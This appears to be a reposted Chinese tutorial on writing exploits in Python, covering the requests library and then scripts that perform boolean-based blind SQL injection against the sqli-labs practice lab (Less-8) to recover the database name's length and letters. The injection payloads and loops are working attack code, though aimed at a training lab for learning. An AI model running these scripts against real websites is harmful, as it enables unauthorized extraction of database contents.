怎么用Python編寫EXP

本篇內(nèi)容介紹了“怎么用Python編寫EXP”的有關知識,在實際案例的操作過程中,不少人都會遇到這樣的困境,接下來就讓小編帶領大家學習一下如何處理這些情況吧!希望大家仔細閱讀,能夠?qū)W有所成!

盱眙網(wǎng)站制作公司哪家好,找成都創(chuàng)新互聯(lián)公司!從網(wǎng)頁設計、網(wǎng)站建設、微信開發(fā)、APP開發(fā)、響應式網(wǎng)站設計等網(wǎng)站項目制作,到程序開發(fā),運營維護。成都創(chuàng)新互聯(lián)公司于2013年創(chuàng)立到現(xiàn)在10年的時間,我們擁有了豐富的建站經(jīng)驗和運維經(jīng)驗,來保證我們的工作的順利進行。專注于網(wǎng)站建設就選成都創(chuàng)新互聯(lián)公司。

一、環(huán)境

1、python3

2、用到的模塊requests

3、sqli-lab

二、requests模塊應用

1、獲取網(wǎng)頁的內(nèi)容

# coding=utf-8import requestsres=requests.get("http://192.168.1.129/html/1.html")print(res.content.decode("utf-8"))

2、獲取頭信息

3、獲取提交的網(wǎng)址

print(res.headers)print(res.url)

運行結(jié)果:

{'Date': 'Tue, 04 Aug 2020 13:01:06 GMT', 'Server': 'Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45', 'Last-Modified': 'Sun, 31 May 2020 15:48:24 GMT', 'ETag': '"676-5a6f39bc391c0"', 'Accept-Ranges': 'bytes', 'Content-Length': '1654', 'Keep-Alive': 'timeout=5, max=100', 'Connection': 'Keep-Alive', 'Content-Type': 'text/html'}http://192.168.1.129/html/1.html

4、修改訪問時UA信息

# coding=utf-8import requestsurl="http://192.168.1.129/html/1.html"header={"User-Agent":"aiyoubucuo"}res=requests.get(url,headers=header)print(res.request.headers)運行結(jié)果:{'User-Agent': 'aiyoubucuo', 'Accept-Encoding': 'gzip, deflate', 'Accept': '*/*', 'Connection': 'keep-alive'}

5、超時處理,網(wǎng)頁超過三秒沒有反應當做異常

# coding=utf-8import requestsurl="http://192.168.1.129/html/chaoshi.php"try:    res=requests.get(url,timeout=3)    print(res.request.headers)except Exception as e:    print("網(wǎng)頁已超時!?。?quot;)

6、提交get數(shù)據(jù)

# coding=utf-8import requestsurl="http://192.168.1.129/get.php"data={"aiyou":"bucuo"}res=requests.get(url,params=data)print(res.url)

運行結(jié)果:

http://192.168.1.129/get.php?aiyou=bucuo

7、POST提交數(shù)據(jù)

# coding=utf-8import requestsurl="http://192.168.1.129/post.php"datas={"aiyou":"bucuo"}res=requests.post(url,data=datas)print(res.content.decode("utf-8"))

運行結(jié)果:

array(1) {  ["aiyou"]=>  string(5) "bucuo"}

8、上傳文件

# coding=utf-8import requestsurl="http://192.168.1.129/shangchuan.php"upfile={"file":open("123.txt","rb")}datas={"submit":"submit"}res=requests.post(url,files=upfile,data=datas)print(res.content.decode("utf-8"))

運行結(jié)果:

怎么用Python編寫EXP

三、獲取數(shù)據(jù)庫長度

#判斷數(shù)據(jù)庫長度,http://192.168.1.129/sqli/Less-8/?id=8' and (length(database())) = 8 --+# coding=utf-8import requestsurl="http://192.168.1.129/sqli/Less-8/"reslen=len(requests.get(url=url+"?id=1").text)print("正常情況下網(wǎng)頁返回數(shù)據(jù)的長度"+str(reslen))dblen=0while True:    dburl=url+"?id=1'+and+(length(database()))="+str(dblen)+"--+"    print(dburl)    if len(requests.get(dburl).text)==reslen:        print("數(shù)據(jù)庫名字長度為:"+str(dblen))        break    if dblen==30:        print("出現(xiàn)錯誤!")        break    dblen+=1

運行結(jié)果:

怎么用Python編寫EXP

四、獲取數(shù)據(jù)庫名字

# coding=utf-8import stringimport requestsurl="http://192.168.1.129/sqli/Less-8/"reslen=len(requests.get(url=url+"?id=1").text)print("正常情況下網(wǎng)頁返回數(shù)據(jù)的長度"+str(reslen))#判斷數(shù)據(jù)庫長度,http://192.168.1.129/sqli/Less-8/?id=2' and (length(database())) = 8 --+dblen=0while True:    dburl=url+"?id=1'+and+(length(database()))="+str(dblen)+"--+"    print(dburl)    if len(requests.get(dburl).text)==reslen:        print("數(shù)據(jù)庫名字長度為:"+str(dblen))        break    if dblen==30:        print("出現(xiàn)錯誤!")        break    dblen+=1dbnmae=""#生成8個字母for i in range(1,9):    #獲取字母從a-z    for a in string.ascii_lowercase:        dburl=url+"?id=1'+and+substr(database(),"+str(i)+",1)="+"'"+a+"'"+"--+"        print(dburl)        if len(requests.get(dburl).text)==reslen:            dbnmae+=a            print(dbnmae)            break

運行結(jié)果:

怎么用Python編寫EXP

“怎么用Python編寫EXP”的內(nèi)容就介紹到這里了,感謝大家的閱讀。如果想了解更多行業(yè)相關的知識可以關注創(chuàng)新互聯(lián)網(wǎng)站,小編將為大家輸出更多高質(zhì)量的實用文章!

本文名稱:怎么用Python編寫EXP
轉(zhuǎn)載源于:http://bm7419.com/article4/gihhoe.html

成都網(wǎng)站建設公司_創(chuàng)新互聯(lián),為您提供App開發(fā)搜索引擎優(yōu)化、靜態(tài)網(wǎng)站網(wǎng)站排名、企業(yè)建站、面包屑導航

廣告

聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權請盡快告知,我們將會在第一時間刪除。文章觀點不代表本網(wǎng)站立場,如需處理請聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時需注明來源: 創(chuàng)新互聯(lián)

網(wǎng)站優(yōu)化排名